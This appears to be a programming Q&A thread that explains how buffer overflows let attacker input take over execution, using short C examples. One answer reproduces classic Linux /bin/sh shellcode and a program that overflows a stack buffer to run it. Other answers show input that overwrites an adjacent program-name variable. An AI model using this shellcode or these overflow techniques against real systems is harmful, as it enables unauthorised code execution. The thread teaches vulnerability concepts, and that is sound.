views:

590

answers:

9

I've heard so much about buffer overflows and believe I understand the problem but I still don't see an example of say

char buffer[16];

//code that will over write that buffer and launch notepad.exe
+1  A: 
gets(buffer);

There is no way to use gets properly, as it doesn't ask for the size of the buffer.

scanf("%s", buffer);

Scanf will read string input until it hits whitespace, it the user types more than 16 characters there will be a buffer overflow.

FigBug
+3  A: 

well, i dont know how to launch notpad.exe, but to overwrite this buffer simply do:

sprintf(buffer, "somestringlongerthan16");
clamp
+14  A: 

"Smashing The Stack For Fun And Profit" is the best HowTo/FAQ on the subject.

See: http://insecure.org/stf/smashstack.html

Here is a snip of some actual shellcode:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}
Justin
wheres the NOP slide :(
Stan R.
A: 

Phrack's Smashing The Stack For Fun And Profit has enough explanation to enable you to do what you're asking.

VoidPointer
+1  A: 
int x[10];

x[11] = 1;
AraK
The element with index 10 is also outside the array. :)
Guffa
That's true, I tried to make it clear that we are referencing something out-of-bound :)
AraK
+5  A: 

There are two separate things:

  1. The code that overflows a buffer, this is easy to do and will most likely end with a segmentation fault. Which is what has been shown: sprintf(buffer,"01234567890123456789");

  2. The means of putting on the overwritten memory code that it is executed by the operating system. This is harder than merely overflowing a buffer, and is related to how programs are executed. They usually grab the next instruction to execute from a stack, if you manage to put in the next value of the stack a valid instruction via overwriting the memory without creating execution pointer corruption (or any other kind of corruption), you can create an exploit. It is usually done by putting a jump instruction in the next to be read value of the stack to a section of memory which contains code. This is why marking sections of memory as non executable can help against these kind of exploits.

Vinko Vrsalovic
+1  A: 

First, you need a program that will launch other programs. A program that executes OS exec in some form or other. This is highly OS and language-specific.

Second, your program that launches other programs must read from some external source into a buffer.

Third, you must then examine the running program -- as layed out in memory by the compiler -- to see how the input buffer and the other variables used for step 1 (launching other programs) exist.

Fourth, you must concoct an input that will actually overrun the buffer and set the other variables.

So. Part 1 and 2 is a program that looks something like this in C.

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

Part 3 requires some analysis of what the buffer and the program_to_run look like, but you'll find that it's probably just

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

Part 4, your input, then has to be

1234567890123456notepad.exe\x00

So it will fill buffer and write over program_to_run.

S.Lott
I don't think the original program needs to invoke other programs... if you craft your exploit correctly, you can change the original program to launch other apps or anything else you want it to do.
rmeador
@meador: It's really, really hard to make a program call OS API functions based on buffer overflow. It's very easy to be sure you're not executing data (programs do it, but it's easy to avoid). If you already make an `exec` call, it's much simpler to corrupt the existing API call than to fabricate a new kind of API call.
S.Lott
+1  A: 

The way a buffer overflow can be used to make code do something other than intended, is by writing data outside the allocated buffer overwriting something else.

The overwritten data would typically be the code in another function, but a simple example is overwriting a variable next to the buffer:

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

If you call the function with more data than the buffer can hold, it would overwrite the file name:

execMe("0123456789012345notepad");
Guffa
A: 

For a simple example see also here:

Protecting Against Some Buffer-Overrun Attacks: An Example Attack

http://www.greenend.org.uk/rjk/random-stack.html